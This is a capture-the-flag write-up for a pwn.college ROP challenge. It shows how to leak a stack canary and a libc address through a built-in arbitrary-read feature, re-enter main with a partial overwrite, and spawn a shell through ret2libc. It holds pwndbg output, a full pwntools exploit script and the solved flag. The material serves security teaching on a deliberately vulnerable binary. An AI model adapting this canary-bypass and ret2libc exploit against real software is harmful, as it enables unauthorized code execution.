(ROP) level 13
Information
- category: pwn
Description
Perform ROP when the function has a canary!
Write-up
PIE and Stack Canary — How Do We Bypass Them? This binary has two common protections enabled:
- PIE (Position Independent Executable) — makes function addresses change every run.
- Stack Canary — detects stack corruption and prevents classic buffer overflows.
So how do we bypass them?
Run the Program and Look for Leaks
1
2
3
4
5
6
7
8
babyrop_level13.1
###
### Welcome to /challenge/babyrop_level13.1!
###
[LEAK] Your input buffer is located at: 0x7fff442d0bb0.
Address in hex to read from:
Stack Leak + Arbitrary Read
As you can see, the program leaks the address of our input buffer. This is extremely useful — it gives us a foothold to calculate other addresses relative to it.
After that, the program prompts us to provide an address, then reads and prints memory from that location.
Now let’s switch to pwndbg
and figure out how far the stack canary is from our input buffer.
Knowing the offset is key to leaking the canary by
[address of input buffer + offset]
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
pwndbg> c
Continuing.
0x7ffe9ee44098
[LEAK] *0x7ffe9ee44098 = 0x886d7ea0e4d74100
Breakpoint 3, 0x000063b6fcebbd2e in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────
*RAX 0x7ffe9ee44040 —▸ 0x63b6fceba040 ◂— 0x400000006
RBX 0x63b6fcebbd70 (__libc_csu_init) ◂— endbr64
*RCX 0
*RDX 0x1000
*RDI 0
*RSI 0x7ffe9ee44040 —▸ 0x63b6fceba040 ◂— 0x400000006
*R8 0x2d
*R9 0x2d
*R10 0x63b6fcebc084 ◂— 0x697661654c000a0a /* '\n\n' */
R11 0x246
R12 0x63b6fcebb120 (_start) ◂— endbr64
R13 0x7ffe9ee44190 ◂— 1
R14 0
R15 0
RBP 0x7ffe9ee440a0 ◂— 0
RSP 0x7ffe9ee43ff0 ◂— 0
*RIP 0x63b6fcebbd2e (main+332) ◂— call 0x63b6fcebb0f0
──────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────
► 0x63b6fcebbd2e <main+332> call read@plt <read@plt>
fd: 0 (/dev/pts/0)
buf: 0x7ffe9ee44040 —▸ 0x63b6fceba040 ◂— 0x400000006
nbytes: 0x1000
──────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────
► 0 0x63b6fcebbd2e main+332
1 0x72db05d8d083 __libc_start_main+243
2 0x63b6fcebb14e _start+46
─────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> i f
Stack level 0, frame at 0x7ffe9ee440b0:
rip = 0x63b6fcebbd2e in main; saved rip = 0x72db05d8d083
called by frame at 0x7ffe9ee44180
Arglist at 0x7ffe9ee440a0, args:
Locals at 0x7ffe9ee440a0, Previous frame's sp is 0x7ffe9ee440b0
Saved registers:
rbp at 0x7ffe9ee440a0, rip at 0x7ffe9ee440a8
pwndbg> dist $rsi 0x7ffe9ee440a8
0x7ffe9ee44040->0x7ffe9ee440a8 is 0x68 bytes (0xd words)
pwndbg> dist $rsi $rbp-0x8
0x7ffe9ee44040->0x7ffe9ee44098 is 0x58 bytes (0xb words)
pwndbg>
10:0080│-030 0x7ffe9ee44070 —▸ 0x72db05f5a2e8 (__exit_funcs_lock) ◂— 0
11:0088│-028 0x7ffe9ee44078 —▸ 0x63b6fcebbd70 (__libc_csu_init) ◂— endbr64
12:0090│-020 0x7ffe9ee44080 ◂— 0
13:0098│-018 0x7ffe9ee44088 —▸ 0x63b6fcebb120 (_start) ◂— endbr64
14:00a0│-010 0x7ffe9ee44090 —▸ 0x7ffe9ee44190 ◂— 1
15:00a8│-008 0x7ffe9ee44098 ◂— 0x886d7ea0e4d74100
16:00b0│ rbp 0x7ffe9ee440a0 ◂— 0
17:00b8│+008 0x7ffe9ee440a8 —▸ 0x72db05d8d083 (__libc_start_main+243) ◂— mov edi, eax ◂— ret
Putting It All Together — Leaking Canary and Libc, then ret2libc At this point, we know everything we need:
- The offsets to reach the canary and the return address
- A leaked pointer to
__libc_start_main+243
- And a helpful
read
/scanf
mechanism that lets us control both memory and execution flow
Leak the Stack Canary On the first interaction, we provide the address:
1
[buffer_address + canary_offset]
This lets us leak the stack canary using the program’s built-in memory read feature. We record this value to safely bypass the canary check later.
Partial Overwrite to Re-Enter Main
The return address already ends with 0x90
(the low byte). We can take advantage of this by partially overwriting the high byte(s) of the return address to jump back into main
— this gives us a second chance to interact and build our full exploit.
Leak the Libc Base
For the second interaction, we want to leak the libc address. We send:
1
[buffer_address + ret_offset]
This points to a saved return address on the stack — specifically a pointer to __libc_start_main+243
.
Because we know the offset of __libc_start_main+243
in libc (0x24083
), we can subtract and recover the libc base.
ret2libc — Spawn a Shell
On the second call to read
, we craft a final payload:
- Fill buffer until canary
- Insert the leaked canary
- Add padding to reach RIP
- Then place a ROP chain:
1 2 3
payload += p64(pop_rdi) payload += p64(next(lib.search(b"/bin/sh\x00"))) payload += p64(libc.symbols['system'])
This executes
system("/bin/sh")
and gives us a shell. 🎉
Exploit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
offset_canary = 0x58
offset_ret = 0x8
offset_start = 0x24083
def run():
elf = context.binary = ELF("/challenge/babyrop_level13.1")
return elf.process()
def leak(r,offset):
r.recvuntil(b"located at: ")
address = int(r.recvline().strip(b".\n"),16)
r.sendline(hex(address + offset))
r.recvuntil(b"[LEAK] ")
leaked = int(r.recvline().split(b" = ")[1].strip() ,16)
print(f"{hex(leaked)}")
return leaked
def payload1(canary):
fixed = b"\x90"
high = [p8(i) for i in range(0x0f,0x10f,0x10)]
return flat(
b"b"*offset_canary,
canary,
b"B"*offset_ret,
fixed + random.choice(high)
)
def payload2(canary , libc):
libcbase = libc - offset_start
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
lib.address = libcbase
rop = ROP(lib)
return flat(
b"A" * offset_canary,
canary,
b"A" * 8,
rop.ret.address,
rop.rdi.address,
next(lib.search(b"/bin/sh\x00")),
lib.symbols["system"]
)
def attack(p):
canary = leak(p,offset_canary)
log.success(f"Canary: {hex(canary)}")
p.send(payload1(canary))
try:
if b"Welcome to" in p.recvuntil(b"Welcome to"):
leak_base = leak(p,0x68)
log.success(f"libc leak: {hex(leak_base-offset_start)}")
p.send(payload2(canary,leak_base))
p.interactive()
print("HMMMMMMMM")
return 1
except Exception as e:
log.failure(f"try again {e}")
return False
def main():
while True:
p = run()
try:
if attack(p):
break
except Exception as e:
log.warning(f"fail: {e}")
finally:
p.close()
if __name__ == "__main__":
main()
Flag
Flag:
pwn.college{rasw_tPswS-zHS7TDZch7.0VO19q-EfLwczN4MDczW}